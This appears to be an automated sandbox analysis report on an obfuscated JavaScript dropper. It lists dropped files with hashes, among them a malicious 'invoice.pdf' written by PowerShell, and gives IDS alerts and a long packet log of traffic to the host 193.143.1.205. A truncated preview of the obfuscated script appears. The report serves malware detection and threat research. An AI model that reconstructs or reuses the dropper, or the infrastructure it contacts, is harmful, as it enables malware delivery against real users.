Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\582acacf-6be0-4e01-8580-abc0102dca90.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e234cd96-6eee-4287-a3c1-87fb84c3f71a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15922), with CRLF line terminators
Entropy (8bit):	4.931962446281761
TrID:
File name:	24108325173196611859.js
File size:	19'452 bytes
MD5:	f70d1795fa14bf34cdb5bf3df05496b0
SHA1:	31e03c6aba5f1b0d03f66d89ad4fc85afce737de
SHA256:	c67eaa5b63e3e3af1860c8408ff6b6af9149bb845334462b29f79cbcef557ef7
SHA512:	f9ea229dc0675c960fba9293e3e050ecefabbfd2d10bdce9ea81ca9b93372607e377fbc5ade11ffc178619f1f549cbae6206d604651e22eefe8e3dd44d859f91
SSDEEP:	384:P2HWuWF2HWvfKxLMw3sspChYADE2uMQUxT:u82LcspChYArQQT
TLSH:	D29250AC2501DF47A8D502F471D60D9EC2204EE5478AC2CEBD226CCF0AA1F7859FD9B5
File Content Preview:	function jpcfelmuf(){eajhcj=[1031,3079,5127,4103,2055,3072];var bdyduhv=this[axere+pskzygvnc+tudebmqgn+hbiqjzrcv+egpyqn+uymie+vdtktjvr+lheovvld](this[fvudt+icgvfoyg+hsutrzfq+tudebmqgn+danqcm+axere+lheovvld][icomcnoel+tudebmqgn+egpyqn+pskzygvnc+lheovvld+eg

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:19:31.874782+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49773	193.143.1.205	80	TCP
2025-01-10T21:19:35.958524+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49794	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:19:31.031516075 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:31.036425114 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:31.036499977 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:31.249365091 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:31.254159927 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:31.874660969 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:31.874706030 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:31.874759912 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:31.874772072 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:31.874783039 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:31.874782085 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:31.874804020 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:31.874814987 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:31.874816895 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:31.874830008 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:31.874836922 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:31.874842882 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:31.874855042 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:31.874881983 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:31.874898911 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:31.879719019 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:31.921113014 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:31.921129942 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:31.921143055 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:31.921236038 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:31.921267986 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.003345966 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.003402948 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.003421068 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.003432035 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.003442049 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.003453970 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.003457069 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.003469944 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.003479958 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.003485918 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.003525972 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.003675938 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.003735065 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.003746033 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.003757000 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.003773928 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.003799915 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.004259109 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.004270077 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.004290104 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.004296064 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.004301071 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.004358053 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.005120039 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.005167007 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.005186081 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.005208969 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.005213976 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.005244970 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.007863045 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.007874012 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.007904053 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.049976110 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.049988985 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.050008059 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.050035000 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.050060987 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.050065041 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.050071955 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.050106049 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.089778900 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.089792013 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.089839935 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.132142067 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.132184029 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.132191896 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.132226944 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.132241964 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.132306099 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.132339954 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.132358074 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.132388115 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.132392883 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.132400036 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.132437944 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.132467031 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.132477999 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.132489920 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.132500887 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.132522106 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.132545948 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.133181095 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.133191109 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.133200884 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.133229017 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.133277893 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.133289099 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.133301020 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.133311987 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.133323908 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.133335114 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.133348942 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.133368969 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.134186029 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.134196043 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.134207010 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.134217978 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.134229898 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.134239912 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.134242058 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.134253025 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.134278059 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.134881020 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.134891987 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.134903908 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.134921074 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.134931087 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.134931087 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.134947062 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.134974957 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.134985924 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.134996891 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.135027885 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.135848045 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.135864973 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.135878086 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.135895967 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.135924101 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.136847019 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.136857986 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.136869907 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.136898041 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.177263975 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.178437948 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.178451061 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.178483963 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.178559065 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.178570986 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.178581953 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.178594112 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.178617954 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.178642988 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.178751945 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.178761959 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.178790092 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.233197927 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.233220100 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.233232021 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.233244896 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.233288050 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.233323097 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.260562897 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.260586977 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.260597944 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.260632992 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.260672092 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.260683060 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.260696888 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.260710001 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.260735035 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.260863066 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.260876894 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.260888100 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.260900021 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.260911942 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.260942936 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.261091948 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.261143923 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.261156082 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.261182070 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.261285067 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.261307001 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.261317968 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.261342049 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.261357069 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.261365891 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.261368990 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.261403084 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.261683941 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.261694908 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.261717081 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.261727095 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.261733055 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.261739969 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.261759996 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.261781931 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.261791945 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.261804104 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.261816025 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.261816025 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.261842012 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.262337923 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.262351036 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.262356997 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.262396097 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.262415886 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.262427092 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.262439966 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.262453079 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.262475014 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.262500048 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.262547970 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.262558937 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.262566090 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.262572050 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.262578964 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.262623072 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.263288021 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.263300896 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.263319016 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.263331890 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.263346910 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.263385057 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.263385057 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.263385057 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.263406038 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.263416052 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.263427973 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.263446093 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.263458014 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.263468027 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.263480902 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.263482094 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.263482094 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.263506889 CET	49773	80	192.168.2.9	193.143.1.205
